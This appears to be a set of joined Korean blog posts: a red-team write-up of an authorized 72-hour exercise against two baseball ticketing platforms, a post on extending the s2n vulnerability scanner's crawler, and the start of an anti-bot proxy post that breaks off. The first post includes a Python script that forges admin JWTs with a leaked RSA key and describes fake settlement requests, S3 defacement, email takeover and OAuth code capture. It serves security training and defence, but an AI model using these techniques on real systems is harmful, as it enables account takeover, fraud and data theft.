1. 클라우드 보안 훈련에서 72시간 동안 KBO 티켓 예매 플랫폼 2개를 대상으로 레드팀 침투테스트를 수행했다
2. 총 65건의 취약점을 발견했고, 그 중 CRITICAL 15건 — 금융 사기, 관리자 장악, 서비스 중단, 데이터 변조까지 전부 성공했다
3. GitHub에 올라간 .env 파일 하나가 전체 인프라 장악으로 이어지는 걸 직접 증명했다

모든 민감 정보(도메인, IP, 크리덴셜)는 마스킹 처리했다. 인가된 보안 훈련 환경에서 수행한 테스트다.

시작하며

클라우드 기반 72시간 사이버보안 훈련에 레드팀으로 참가했다. 대상은 KBO 야구 티켓 예매 플랫폼 2개. 블루팀(방어팀)이 실시간으로 대응하는 상황에서, 혼자서 2개 플랫폼을 동시에 공격해야 했다.

72시간이면 넉넉해 보이지만, 인프라 구축부터 정찰, 공격, 보고서까지 전부 혼자 해야 하니까 시간이 진짜 부족했다. 특히 Day 3에 IP가 블랙리스트에 걸려서 VPN 전환하느라 시간 날린 게 아쉽다.

결과적으로 Target A에서 38건, Target B에서 27건, 총 65건을 찾아냈다. 금융 사기 벡터부터 JWT 위조, S3 변조, 기업 이메일 탈취까지 꽤 다양한 공격을 성공시켰다.

대상 시스템 분석

두 플랫폼 다 Spring Boot + AWS EKS + Cloudflare 조합이었다. 구조가 비슷해 보이지만, 보안 수준은 완전히 달랐다.

Target A — 티켓 예매 + 리세일 플랫폼

6개 마이크로서비스가 각각 다른 포트에서 돌아가고 있었다 — 유저(8081), 야구구단(8082), 티켓팅(8083), 결제(8084), 리셀(8085), 대기열(8086). 서비스 메시까지 제대로 구성해놔서 아키텍처 자체는 잘 만들었는데, 문제는 인가(Authorization) 처리가 통째로 빠져있었다는 거다.

Target B — 티켓 예매 플랫폼

Target B는 prod에 Cloudflare IP 화이트리스트를 걸어놔서 외부에서 접근 자체가 안 됐다. 근데 staging 환경이 ALB 직접 노출 상태였다. Cloudflare가 없으니 WAF도 없고, 그대로 뚫렸다.

공격 인프라 구축

훈련 시작하자마자 AWS에 EC2 3대를 띄워서 공격 인프라를 구축했다. 인프라 없이 침투테스트하는 건 맨손으로 싸우는 거나 마찬가지다.

 ┌──────────────────────────────────────────────────────┐
 │                  Attack Infrastructure                │
 ├───────────────┬───────────────┬──────────────────────┤
 │   C2 Server   │  Redirector   │     Operator         │
 │  (Private IP) │  (Public IP)  │    (Public IP)       │
 │               │               │                      │
 │  Sliver C2    │  Nginx RP     │  Nmap, Masscan       │
 │  Metasploit   │  socat relay  │  Nuclei, SQLMap      │
 │  Chisel       │  OAuth 캡처   │  Hydra, Nikto        │
 │  Ligolo-ng    │  서버         │  AWS CLI, pyjwt      │
 └───────────────┴───────────────┴──────────────────────┘

C2 서버는 Sliver를 메인으로 썼다. Sliver는 Go 기반 C2 프레임워크인데, Cobalt Strike보다 탐지 회피가 좋고 무료다. 다만 이번 훈련에서는 웹 앱 공격이 메인이라 C2를 본격적으로 쓸 일은 별로 없었다.

리다이렉터는 Nginx 리버스프록시로 구성했다. C2 콜백용이면서 동시에 OAuth 인증 코드 캡처 서버로도 활용했다. Target A에서 OAuth redirect_uri 검증이 없는 걸 발견하고, 여기로 인증 코드를 빼돌리는 구조를 만들었다.

DNS는 공격 도메인 하나를 사서 서브도메인 4개(C2 콜백, 백업, 대체, 오퍼레이터)를 설정했다.

Day 1: 정찰 + 초기 침투

JS 번들 역공학 (Target A)

가장 먼저 한 건 프론트엔드 JS 번들 분석이다. 별도 도구 없이 curl이랑 브라우저 DevTools만으로 15분 만에 핵심 정보 대부분을 뽑아냈다.

React SPA는 빌드하면 JS 번들에 모든 클라이언트 로직이 들어간다. API 엔드포인트, OAuth 설정, 라우팅 구조 전부 다. 난독화를 했다 해도 결국 브라우저에서 실행되는 코드니까, 시간만 들이면 다 읽을 수 있다.

API 엔드포인트 28개를 한 번에 확보한 게 컸다. 일반적으로 API 매핑은 시간이 오래 걸리는 작업인데, JS 번들에 다 나와있으니 그냥 읽기만 하면 됐다.

Day 3에는 더 깊이 들어가서 dev + prod 번들 10개를 전부 다운로드해서 완전 역공학을 수행했다.

[핵심 발견]
대기열 토큰 JTI = "queue-token-" + gameId

gameId는 공개 API(/api/v1/games/schedules)에서 누구나 조회 가능
-> 대기열 토큰을 예측해서 위조할 수 있다
-> 수만 명이 대기 중인 대기열을 건너뛰고 바로 티켓 구매 가능

여기서 Queue Token이라는 개념을 짚고 넘어가야 한다. 인기 경기 티켓팅 때 동시 접속자가 몰리면 대기열(Queue)에 넣어서 순서대로 입장시키는 구조다. 이 대기열을 통과했다는 증명이 Queue Token인데, 이 토큰의 고유 식별자(JTI)가 queue-token-${gameId} 형태로 완전히 예측 가능했다. gameId만 알면 대기열 안 거치고 바로 좌석 선택 페이지로 들어갈 수 있는 거다. 매크로 업자한테는 꿈 같은 취약점이다.

GitHub OSINT (Target B) — .env 하나로 전부 털림

Target B는 GitHub 공개 레포에서 .env 파일이 그대로 올라가 있었다. 솔직히 이건 정찰이라기보다 그냥 선물이었다.

[.env에서 발견한 시크릿 목록]

1. JWT RSA Private Key (2048bit 전문)
2. 대기열 전용 RSA Private Key  
3. AWS IAM Access Key + Secret Key
4. OAuth Client ID + Client Secret
5. PostgreSQL 크리덴셜 (비밀번호가 1234...)
6. DB 관리도구 계정 3개
7. 개발 계정 (dev / 1234)
8. DB 암호화 키
9. Internal API Key
10. Gmail App Password

RSA Private Key가 뭐냐면, JWT 토큰을 서명하는 데 쓰는 비밀 키다. 서버가 "이 토큰은 내가 발급한 게 맞다"라고 증명하는 서명을 만들 때 이 키를 사용한다. 이 키가 유출되면? 공격자가 아무 권한의 토큰이든 자유롭게 만들어낼 수 있다. ADMIN이든 뭐든.

이 .env 파일 하나가 이후 전체 공격 체인의 출발점이 됐다. JWT 위조로 관리자 장악, AWS 키로 S3 변조, Gmail 비밀번호로 이메일 탈취까지. 하나의 실수가 도미노처럼 전부 무너뜨린 거다.

ArgoCD 무인가 접근 (Target A)

ArgoCD는 K8s 환경에서 GitOps 기반 배포를 자동화하는 도구다. Git 레포에 설정을 push하면 ArgoCD가 자동으로 클러스터에 반영하는 구조.

이 ArgoCD가 Google OAuth(Dex)로 인증을 처리하고 있었는데, 허용 도메인 제한이 없었다. 아무 Gmail 계정으로 로그인이 됐다.

[로그인 결과]
{"loggedIn": true, "username": "[공격자]@gmail.com"}

ArgoCD에 들어가니까 앱 배포 구조, Dex JWKS 공개키 2개, 리소스 오버라이드 설정이 전부 보였다. RBAC으로 읽기 전용 권한만 줬기 때문에 클러스터/앱 생성은 403이었지만, 내부 아키텍처 파악에는 충분했다.

OAuth Redirect URI 미검증 (Target A)

OAuth는 카카오/네이버/구글 같은 외부 서비스로 로그인하는 방식이다. 사용자가 카카오에서 로그인하면, 카카오가 "이 사람 인증했어"라는 코드를 redirect_uri로 보내준다. 이 redirect_uri는 반드시 우리 서비스 도메인만 허용해야 한다.

근데 Target A에서는 redirect_uri를 공격자 도메인으로 바꿔도 정상 리다이렉트가 됐다. 이게 왜 위험하냐면:

[공격 시나리오]

1. 공격자가 조작된 카카오 로그인 URL을 피싱으로 배포
   (redirect_uri를 공격자 서버로 변경)
2. 피해자가 카카오 로그인 수행 (정상 카카오 페이지라서 의심 안 함)
3. 인증 코드가 공격자 서버로 전달됨
4. 공격자가 코드 -> 토큰 교환 -> 피해자 계정 탈취

이건 발견하자마자 리다이렉터에 OAuth 캡처 서버를 배포했다. 실제로 인증 코드를 캡처하는 구조까지 만들어놨다.

전체 API RBAC 부재 발견 (Target A)

여기서부터 진짜 심각한 취약점들이 나오기 시작했다.

dev 환경에서 테스트 유저 API로 일반 사용자(MEMBER) 토큰을 발급받았다. 그리고 이 토큰으로 관리자 전용 엔드포인트에 요청을 보냈다.

[예상]
403 Forbidden — "권한이 없습니다"

[실제]
400 Bad Request — "시/군/구 값은 필수 항목입니다"

403이 아니라 400이 온다? 이건 권한 검증 자체를 안 하고 있다는 뜻이다. 서버가 "너 관리자 아닌데?" 하는 게 아니라 "필드가 빠졌어"라고 응답한다는 건, 요청이 권한 체크를 통과해서 비즈니스 로직까지 도달했다는 거다.

인증(Authentication)과 인가(Authorization)는 완전히 다른 개념이다. 인증은 "너 누구야?"를 확인하는 거고, 인가는 "너 이거 할 수 있어?"를 확인하는 거다. Target A는 인증은 되어있는데 인가가 통째로 빠져있었다. 토큰만 있으면 MEMBER든 ADMIN이든 상관없이 뭐든 할 수 있었다.

21개 이상의 관리자 엔드포인트를 전부 테스트했고, 전부 동일한 결과였다.

Day 1: 핵심 공격 성과

정산 API 금융 사기 — 200건+ (Target A)

RBAC이 없다는 걸 확인하고 바로 정산 API를 노렸다. 정산(Settlement)이란 리셀 거래에서 매도자에게 돈을 지급하는 프로세스다.

PATCH /api/v1/[redacted]/orders/{random-uuid}/settled
-> 200 OK

랜덤 UUID를 넣어서 요청하면 200 OK가 온다. 존재하지도 않는 주문에 대해 정산 처리가 성공한다. 반복 스크립트를 돌려서 200건 이상의 허위 정산을 처리했다 — 30건, 50건, 100건, 20건 순으로.

실제 서비스였으면 이건 무제한 금융 사기 벡터다. 가짜 주문에 대해 정산을 쏟아부으면 자금이 빠져나간다.

방어팀이 Day 2에 403 패치를 완료했다. 빠르게 대응한 편이다.

JWT 위조 -> 관리자 완전 장악 (Target B)

GitHub에서 발견한 RSA Private Key로 ADMIN 권한의 JWT를 위조했다. pyjwt와 cryptography 라이브러리를 사용했다.

# JWT 위조 코드 (민감 정보 마스킹)
import jwt
from cryptography.hazmat.primitives import serialization

# GitHub에서 탈취한 RSA Private Key 로드
private_key = open("stolen_private_key.pem", "rb").read()

payload = {
    "iss": "[redacted]-auth-service",
    "sub": "1",                    # id:1 = 관리자 계정
    "aud": "[redacted]-api",
    "auth": "ROLE_ADMIN",          # 관리자 권한
    "tokenType": "ACCESS",
    "exp": int(time.time()) + 3600 # 1시간 유효
}

token = jwt.encode(payload, private_key, algorithm="RS256")

이 위조 토큰으로 /auth/me를 호출하니까:

{"id": 1, "email": "[redacted]@gmail.com", "nickname": "[방어팀] 개발팀"}

id:1 관리자 계정을 완전히 장악했다. Staging 서버의 모든 API에 관리자 권한으로 접근 가능한 상태.

AWS S3 Defacement (Target B)

.env에서 나온 AWS IAM Access Key로 AWS CLI 접근을 시도했다.

[공격 흐름]

1. aws sts get-caller-identity -> 성공 (IAM User 확인)
2. S3 버킷 열거 -> [bucket-name] 버킷 접근 가능
3. 사용자 업로드 이미지 파일 다운로드 (데이터 유출)
4. 해킹 증거 파일 업로드 (Defacement)
   - hacked.html, proof.txt 업로드 성공

aws sts get-caller-identity는 "지금 이 AWS 키가 누구 것이냐"를 확인하는 명령어다. 이게 성공하면 해당 IAM 유저의 권한 범위 내에서 뭐든 할 수 있다. 이 키는 S3 presigned URL 생성용이라 S3 접근 권한이 있었고, 실제로 파일을 다운로드하고 업로드하는 것까지 성공했다.

Gmail 기업 이메일 탈취 (Target B)

.env에 Gmail App Password까지 있었다. Gmail App Password는 2FA가 걸린 Gmail 계정에서 외부 앱이 접근할 수 있게 발급하는 비밀번호다.

[결과]
- SMTP 로그인 성공 (smtp.gmail.com:587) -> 이메일 발송 가능
- IMAP 접속 -> 24개 이메일 전체 열람
- 이 계정으로 피싱 이메일 보내면 정상 이메일과 구분 불가

24개 이메일에 기업 내부 커뮤니케이션이 들어있었다. 실제 공격이었으면 여기서 추가 정보를 뽑아서 소셜 엔지니어링에 활용했을 거다.

Day 2: 심화 공격 + 방어팀 공방

Cloudflare Workers DoS (Target A)

이건 좀 예상 밖이었다. Target A가 Cloudflare Workers 무료 플랜을 쓰고 있었는데, 무료 플랜은 일일 요청 한도가 100K다.

스캐닝이랑 일반 트래픽이 합쳐지면서 이 한도를 넘겼고, 전체 서비스가 중단됐다.

error_code: 1027
error_name: "workers_daily_limit"
-> 전체 서비스 다운 (최대 24시간)

그리고 더 심각한 DoS 벡터를 하나 더 발견했다. 토큰이 만료되면 프론트엔드가 reissue 엔드포인트로 재발급을 시도하는데, reissue가 500 에러를 내면 원래 API를 다시 호출하고, 또 401이 오고, 또 reissue를 하고... 무한 루프에 빠진다.

만료 토큰 -> 401 -> reissue -> 500 -> 원래 API -> 401 -> reissue -> 500 -> ...
(무한 반복)

한 명의 사용자가 이 루프에 빠지면 수 분 안에 100K 한도를 혼자서 소진할 수 있다. 무료 플랜의 DoS 벡터가 두 개나 된 거다.

Grafana 메트릭 7,748줄 탈취 (Target A)

Grafana는 모니터링 대시보드 도구다. Prometheus에서 수집한 메트릭을 시각화해주는 건데, /metrics 엔드포인트가 인증 없이 열려있었다.

[비인증 접근으로 확보한 정보]
- 데이터소스 5개 (Prometheus, Loki, Tempo, Pyroscope, Alertmanager)
- 관리자 1명
- 대시보드 38개
- 폴더 5개  
- admin 요청 98회
- Feature Toggle 68건 전체 노출

Grafana Feature Toggle이 68건이나 노출된 게 특히 중요한데, 이 중에 enableSCIM(ON), dashgpt(ON), kubernetesDashboards(ON), awsDatasourcesTempCredentials(ON) 같은 보안 관련 설정이 다 보였다. 공격자 입장에서 어떤 기능이 켜져있는지 알면 공격 벡터를 좁힐 수 있다.

방어팀 실시간 패치

72시간 동안 방어팀이 실시간으로 대응했다. Day 1에 터진 정산 API를 Day 2에 403으로 패치한 것처럼, 블루팀도 열심히 했다.

경기 생성 API는 끝까지 안 막혔다. Day 3에 이걸 이용해서 경기를 3건 더 만들었다.

Day 3: 최종 공격

IP 블랙리스트 우회

Day 3 시작하자마자 확인해보니 기존 VPN IP가 봇 탐지 시스템에 걸려서 블랙리스트에 등록되어 있었다. 방어팀의 Guardrail(행동 분석 기반 봇 탐지)이 작동한 거다.

VPN 서버를 전환해서 새 IP를 할당받고 공격을 계속했다. 실전에서도 IP가 차단되면 이렇게 전환하는 게 기본이다.

프로덕션 데이터 변조 (Target A)

미패치된 경기 생성 API를 이용해서 프로덕션 환경에 직접 데이터를 주입했다.

MEMBER 토큰으로 프로덕션 데이터를 변조한 거다. 실제 서비스였으면 사이트 변조(Defacement)에 해당한다. 가짜 경기를 만들어놓고 티켓팅 오픈일까지 설정하면, 사용자들이 존재하지 않는 경기에 대해 티켓을 사려고 할 수도 있다.

Staging 인프라 정보 대량 유출 (Target B)

Target B의 staging에는 Cloudflare가 없어서 ALB(Application Load Balancer)가 직접 인터넷에 노출되어 있었다. 여기서 Spring Boot Actuator를 통해 내부 정보가 대량으로 유출됐다.

Spring Boot Actuator는 앱의 상태를 모니터링하기 위한 엔드포인트 모음이다. health, metrics, info 같은 엔드포인트가 있는데, 이게 인증 없이 열려있으면 내부 아키텍처가 그대로 드러난다.

[Actuator에서 추출한 정보]

K8s 내부 서비스 DNS:
- auth-guard.staging-webs.svc.cluster.local:8080
- queue.staging-webs.svc.cluster.local:8081
- seat.staging-webs.svc.cluster.local:8082
- order-core.staging-webs.svc.cluster.local:8083

Gateway 라우트:
- /order/clubs, /auth/token/refresh, /order/matches
- /auth/loadtest/login, /auth/loadtest/signup

서버 리소스:
- 디스크: 14.96GB / 21.4GB
- JVM 메모리: 215MB
- CPU: 1.9%
- Thread Pool MAX: 2,147,483,647 (Integer.MAX_VALUE)

Thread Pool MAX가 Integer.MAX_VALUE다. 이건 스레드 수에 제한이 없다는 뜻인데, 무인증 엔드포인트에 동시 요청을 수만 개 보내면 스레드가 무제한으로 생성되면서 OOM(Out of Memory) Kill로 서비스가 죽을 수 있다.

Gateway 쓰기 메서드 인증 우회 (Target B)

API Gateway에서 GET 요청은 무인증으로 데이터가 반환됐다. 그래서 POST/PUT/PATCH/DELETE도 시도해봤는데:

GET    /order/clubs   -> 200 OK (데이터 반환)
POST   /order/clubs   -> 500 (NOT 401!)
PUT    /order/clubs/1 -> 500 (NOT 401!)
PATCH  /order/clubs/1 -> 500 (NOT 401!)
DELETE /order/clubs/1 -> 500 (NOT 401!)

전부 500이지 401이 아니다. 이 말은 Gateway가 쓰기 메서드를 인증 없이 백엔드까지 그대로 전달하고 있다는 거다. 지금은 백엔드에 해당 API가 제대로 구현 안 되어서 500이 나오지만, 구현이 완성되는 순간 무인가 변조가 바로 가능해진다. 시한폭탄이다.

실패한 시도들

성공한 것만 쓰면 포트폴리오가 아니라 자랑글이 된다. 실패 사례도 중요한데, 여기서 방어가 어디서 잘 작동했는지 보이기 때문이다.

JWT 알고리즘 혼동 공격(Algorithm Confusion)은 좀 설명이 필요하다. JWT는 서명 알고리즘을 헤더에 명시하는데, 서버가 이걸 신뢰하면 문제가 된다. 예를 들어 RS256(비대칭)으로 서명된 토큰을 HS256(대칭)으로 바꾸고, 공개키를 비밀키로 사용해서 서명하면 검증이 통과되는 경우가 있다.

Target A에서 이걸 시도했는데, RS256만 수용하도록 제대로 설정되어 있어서 실패했다. 여기는 방어팀이 잘 한 부분이다.

Cloudflare WAF 우회도 5가지 기법을 전부 시도했지만 다 막혔다. Cloudflare가 URL을 정규화한 다음에 패턴 매칭을 하기 때문에, 단순한 인코딩 우회로는 뚫리지 않는다. WAF의 존재감을 제대로 느꼈다.

종합 성과

카테고리별 주요 성과

OWASP Top 10 매핑

두 플랫폼의 취약점을 OWASP Top 10에 매핑하면 이렇다.

A01(Broken Access Control)과 A02(Cryptographic Failures)가 두 플랫폼 모두에서 가장 심각했다. OWASP Top 10에서 1위와 2위가 그대로 나온 셈이다.

핵심 교훈

1. 인증이랑 인가는 다르다

Target A는 인증(Authentication)은 있었다. 토큰 발급도 하고, JWT 서명도 RS256으로 제대로 하고 있었다. 근데 인가(Authorization)가 통째로 빠져있었다. 토큰의 role이 MEMBER든 ADMIN이든 상관없이 모든 API에 접근 가능했다.

Spring Security에서 @PreAuthorize("hasRole('ADMIN')")를 안 달아놓으면 이런 일이 발생한다. 인증만 하고 인가를 빼먹는 건, 신분증은 확인하면서 출입증은 안 보는 것과 같다.

2. .env를 GitHub에 올리면 끝난다

Target B의 모든 공격은 GitHub에 올라간 .env 파일 하나에서 시작됐다. RSA Private Key, AWS 키, OAuth Secret, DB 비밀번호, Gmail 비밀번호... 전부 한 파일에 들어있었다.

.gitignore에 .env를 추가하는 건 기본 중의 기본인데, 이미 한 번 커밋된 파일은 .gitignore에 추가해도 git history에 남아있다. git filter-branch나 BFG Repo-Cleaner로 history까지 완전히 삭제해야 한다.

그리고 가능하면 시크릿은 파일에 넣지 말고 AWS Secrets Manager나 HashiCorp Vault 같은 시크릿 관리 서비스를 써야 한다.

3. Staging도 프로덕션처럼 보호해야 한다

"개발 환경이니까 괜찮겠지"는 가장 위험한 가정이다. Target B의 Staging은 Cloudflare가 없어서 ALB가 직접 노출되어 있었고, 거기서 Actuator, Swagger, loadtest API가 전부 열려있었다. Staging에서 확보한 정보로 prod 공격 전략을 세울 수 있다.

4. 단일 방어선은 방어가 아니다

Target B의 prod는 Cloudflare IP 화이트리스트가 유일한 방어선이었다. 이게 뚫리면 DB 비밀번호 1234로 뚫린다. 그리고 실제로 Staging이라는 우회 경로가 있었다.

Defense in Depth(심층 방어) — 방어를 여러 계층으로 쌓아야 한다. WAF, 네트워크 ACL, 인증, 인가, 시크릿 관리 각각이 독립적으로 방어할 수 있어야 하나가 뚫려도 다음 계층이 막는다.

5. 프론트엔드 번들에 비즈니스 로직 넣지 마라

JS 번들은 클라이언트에서 실행되는 코드다. 아무리 빌드하고 난독화해도, 결국 브라우저에서 돌아가는 코드라 전부 읽을 수 있다. API 엔드포인트, OAuth Client ID, 토큰 생성 로직 같은 게 다 들어있으면 공격자한테 로드맵을 제공하는 거나 마찬가지다.

특히 Queue Token의 JTI를 클라이언트에서 생성하는 건 서버 측 검증이 없다면 대기열 우회로 직결된다.

마치며

72시간은 짧다. 인프라 구축, 정찰, 공격, 보고서까지 혼자 다 해야 하니까 시간 관리가 진짜 중요했다. 특히 Day 3에 IP 차단당해서 VPN 전환하느라 시간 날린 거랑, 인증 서비스가 500 에러 내면서 토큰 재발급이 안 됐던 게 아쉽다. 토큰만 살아있었으면 Target A에서 더 많은 걸 할 수 있었다.

그래도 2개 플랫폼에서 65건을 찾아낸 건 꽤 만족스러운 결과다. 특히 Target B에서 .env 하나로 전체 인프라를 장악하는 공격 체인을 완성한 게 이번 훈련의 하이라이트였다.

앞으로 개선하고 싶은 점이라면:

• 자동화 스크립트를 좀 더 미리 준비해갈 것
• VPN IP 관리를 처음부터 신경쓸 것 (Day 1부터 로테이션)
• C2 인프라를 웹 앱 공격에 더 활용할 방법 찾기

이 글에 포함된 모든 공격은 인가된 보안 훈련 환경에서 수행되었다. 도메인, IP, 크리덴셜, 계정 정보 등 민감 정보는 전부 마스킹 처리했다.

출처: 클라우드 기반 72시간 사이버보안 훈련 (2026)

Tags: #레드팀 #침투테스트 #펜테스트 #보안 #OWASP #AWS #Kubernetes #JWT #OAuth #사이버보안

1. Python 오픈소스 웹 취약점 스캐너 s2n의 크롤러를 고도화했다 — BFS 크롤링 + HTML 폼 자동 분류 + 공격 포인트 자동 탐지까지.
2. 기존엔 DVWA 전용 하드코딩 방식이라 다른 사이트에선 쓸 수가 없었는데, 이걸 어떤 사이트든 자동으로 공격 포인트를 찾아내는 구조로 바꿨다.
3. 범용 로그인 어댑터(universal_adapter.py)도 만들어서 --auth auto 옵션 하나면 로그인 페이지를 알아서 찾고 폼 필드도 자동 매핑하게 됐다.

시작하며...

PR 링크: https://github.com/s2n0n/s2n/pull/139 프로젝트: https://github.com/s2n0n/s2n

s2n은 팀 사이드 프로젝트로 만들고 있는 Python 기반 플러그인형 웹 취약점 스캐너다. SQL Injection, XSS 같은 취약점을 자동으로 스캔하는 툴인데, 나는 여기서 크롤러 파트를 맡았다.

구조 자체는 잘 잡혀 있었다. 플러그인 아키텍처라서 취약점 스캐너를 모듈 단위로 붙였다 뗐다 할 수 있고, 결과도 JSON/HTML로 깔끔하게 뽑힌다. 근데 크롤러 쪽이 문제였다.

왜 고도화가 필요했는가?

기존 크롤러의 핵심 문제는 딱 하나였다.

DVWA 전용으로 하드코딩되어 있었다.

DVWA(Damn Vulnerable Web Application)는 취약점 학습용 실습 환경이다. 기존 구조는 DVWA에서만 로그인하고, DVWA의 URL 목록을 직접 때려박는 방식이었다. 다른 타겟 사이트에 쓰려고 하면 코드를 뜯어야 한다.

스캐너가 "어떤 사이트든 쓸 수 있는 범용 툴"을 지향한다면 크롤러도 범용이어야 한다.

그리고 두 번째 문제가 있었다.

공격 포인트를 수동으로 지정해야 했다.

취약점 스캔을 하려면 "어디에 페이로드를 넣을지"를 알아야 한다. 기존엔 이걸 사람이 직접 URL 목록으로 넘겨줬다. 근데 실제 타겟 사이트는 폼이 어디에 있는지 모른다. 크롤러가 직접 사이트를 돌면서 공격 포인트(폼)를 자동으로 찾아내야 한다.

이 두 가지를 해결하는 게 이번 PR의 목표였다.

어떻게 설계했는가?

크게 세 가지 컴포넌트를 만들었다.

1. HTML 폼 자동 분류기 — classifier.py

크롤링하면서 찾은 폼이 "로그인 폼인지", "검색창인지", "파일 업로드인지" 구분해야 플러그인이 알맞은 페이로드를 쓸 수 있다.

분류 카테고리는 6종이다.

HTML 속성에서 패턴을 뽑아 분류하는 휴리스틱 방식이다. 머신러닝 같은 거 없이 필드명, input 타입, 폼 액션 URL을 조합해서 판단한다. 단순하지만 실제로 꽤 잘 맞는다.

2. BFS 기반 스마트 크롤러 — smart_crawler.py

타겟 URL에서 시작해서 같은 오리진(same-origin) 링크만 따라가면서 BFS(너비 우선 탐색)로 사이트를 순회한다.

시작 URL
    └─ 링크 수집 (same-origin만)
         └─ 각 페이지 방문
              └─ 폼 발견 → PageClassifier로 분류
                   └─ SiteMap에 기록

BFS를 선택한 이유는 DFS 대비 얕은 depth의 페이지를 먼저 다 긁기 때문이다. 실제 웹 취약점 스캐닝에서는 로그인 직후 페이지나 메인 기능 페이지가 중요한데, 이런 건 보통 depth가 얕다.

크롤링 결과는 SiteMap 객체로 구조화되어서 플러그인에 전달된다. 플러그인 입장에서는 "이 URL에 이 타입의 폼이 있음"이라는 정보를 바탕으로 바로 공격 페이로드를 날릴 수 있다.

3. 범용 로그인 어댑터 — universal_adapter.py

이게 제일 까다로웠다.

기존엔 DVWA 전용 어댑터가 있었다. DVWA는 로그인 URL도 고정이고 폼 필드명도 고정이라 하드코딩이 가능했다. 근데 범용 어댑터는 아무 사이트나 들어갔을 때 "어디가 로그인 페이지인지", "username 필드가 뭔지", "로그인 성공 여부를 어떻게 판단하는지"를 자동으로 알아내야 한다.

처리 흐름은 이렇다.

1. 로그인 페이지 자동 탐색
   - /login, /signin, /auth 같은 일반적인 경로 시도
   - 홈페이지에서 로그인 링크 텍스트로 탐색

2. 폼 필드 자동 매핑
   - username 관련: id, user, email, login, name ...
   - password 관련: pass, pwd, password, secret ...
   - 필드명 휴리스틱으로 매핑

3. 로그인 성공 판단 (다중 휴리스틱)
   - 로그인 페이지로 리다이렉트 안 됨
   - "로그인 실패", "invalid password" 텍스트 없음
   - 세션 쿠키 발급됨

세 가지 조건을 종합해서 성공/실패를 판단한다. 어느 하나만 보면 오탐이 많아서 다중 휴리스틱으로 처리했다.

CLI에서는 이렇게 쓴다.

s2n scan -u http://target --auth auto --username admin --password pass

--auth auto만 주면 로그인 페이지 찾는 것부터 자동으로 한다. 타겟 URL을 알고 계정 정보만 있으면 된다.

기존 코드는 최대한 안 건드렸다

이게 오픈소스 기여에서 제일 신경 쓴 부분이다.

기존 crawl_recursive(), DVWAAdapter는 그대로 살렸다. 새로 추가한 smart_crawl()은 scan() 시작 시 자동 실행되고, 실패하면 기존 방식으로 fallback한다. 기존 사용자 입장에서 breaking change가 없다.

변경한 파일 목록과 변경 범위를 보면:

신규 파일 5개, 기존 파일 수정 5개인데 기존 파일은 죄다 최소 수정이다.

그리고 중요한 게, 기존 테스트 106개가 전부 통과했다. 새 기능 추가하면서 기존 동작 건드린 게 없다는 뜻이다.

전체 구조

s2n/
├── crawler/
│   ├── __init__.py          # extract_same_origin_links() 공유 함수
│   ├── classifier.py        # HTML 폼 자동 분류 (6종)
│   ├── sitemap.py           # 크롤링 결과 구조화 + 플러그인 매핑
│   └── smart_crawler.py     # BFS 크롤링 + SiteMap 생성
├── auth/
│   ├── __init__.py
│   └── universal_adapter.py # 범용 로그인 (자동 탐색 + 폼 매핑 + 성공 판단)
├── interfaces.py            # AuthType.AUTO 추가
├── scan_engine.py           # smart_crawl 연동
└── cli/
    ├── runner.py            # --auth auto, --login-url 옵션
    └── mapper.py            # AUTO 매핑

어려웠던 점

로그인 성공 판단이 제일 까다로웠다

처음엔 단순하게 "리다이렉트 발생하면 성공"이라고 봤다. 근데 실제로 해보니 로그인 실패해도 리다이렉트 하는 사이트가 있고, 성공해도 리다이렉트 없이 같은 페이지에서 변화만 생기는 사이트도 있었다.

결국 단일 조건으로는 판단이 안 된다는 걸 깨달았다. 리다이렉트 여부 + 실패 텍스트 유무 + 세션 쿠키 발급 여부를 조합해서 다수결로 판단하는 방식이 가장 안정적이었다.

same-origin 링크 추출 중복 문제

크롤러 코드 여러 곳에서 same-origin 링크 추출 로직이 중복으로 들어가 있었다. smart_crawler.py 만들면서 이 로직을 또 쓰게 됐는데, 그냥 또 복붙하기보다 crawler/__init__.py에 extract_same_origin_links() 공유 함수로 빼는 게 맞다고 판단했다. 기존 코드 동작은 그대로고 중복만 제거했다.

그래도 좋은 점은?

오픈소스에 실제로 기여해봤다는 게 제일 값졌다.

혼자 만든 프로젝트가 아니라 기존 코드베이스가 있고, 다른 기여자들의 코드 스타일이 있고, 테스트가 있는 환경에서 기능을 추가하는 경험 자체가 달랐다. "내 코드가 기존 106개 테스트를 다 통과해야 한다"는 제약이 오히려 설계를 더 꼼꼼하게 만들었다.

그리고 GUI(Chrome Extension)는 scan_engine.py 연동이기 때문에, 내가 만든 smart_crawl이 별도 수정 없이 확장에도 자동 적용된다. 잘 만든 추상화가 어떤 느낌인지 직접 경험했다.

마치며

크롤러라고 하면 단순히 링크 따라가는 거 아닌가 싶을 수 있는데, 실제로 만들어보면 폼 분류, 로그인 자동화, 공격 포인트 매핑까지 해야 "쓸 수 있는 크롤러"가 된다는 걸 알게 된다.

특히 범용 로그인 어댑터 만들면서 "로그인 성공이 뭔지"를 프로그래밍적으로 정의해야 하는 상황이 꽤 재밌었다. 사람은 화면 보면 바로 아는데, 코드로 표현하면 꽤 까다롭다.

이번 PR이 머지되면 s2n이 DVWA 전용 스캐너에서 벗어나 진짜 범용 스캐너로 한 단계 올라간다. 그 기반을 만든 거라서 개인적으로 만족도가 높은 작업이었다.

작성자: HoHK
PR: github.com/s2n0n/s2n/pull/139
프로젝트: github.com/s2n0n/s2n — Python open source vulnerability scanner

1. 티켓팅 봇/매크로를 대기열 + 큐 통과 토큰 + 302 리다이렉트 구조로 차단하는 독립형 보안 프록시 서버를 만들었다.
2. 처음엔 AI 기반 Risk Score로 봇을 구분하려 했는데, 설계할수록 "굳이 판별 안 해도 대기열 자체가 필터링이 된다"는 걸 깨달았다.
3. FastAPI + Redis + uvicorn 조합으로 백엔드 코드 한 줄 안 건드리고 끼워 넣을 수 있는 구조를 완성했다.

시작하며...

프로젝트 레포: https://github.com/HOHK0923/ticket-redirect-guard

KT Cloud Tech UP 실무 통합 프로젝트 과정에서 팀(2SeC)이 맡은 파트가 있었다.

티켓팅 서비스에서 봇/매크로가 좌석을 싹쓸이하는 문제, 다들 한 번쯤 겪어봤을 거다. 콘서트 티켓 예매할 때 0.1초 만에 매진되는 그거. 우리 팀은 거기서 보안 서버 파트를 담당했다.

AI 퀴즈로 1차 필터링하는 팀이 따로 있었고, 퀴즈를 통과한 이후 구간 — 즉 대기열에서 좌석 선택까지의 구간에서 남은 봇을 걸러내는 게 내 역할이었다.

왜 이 구조를 선택했는가?

처음 설계 방향은 이랬다.

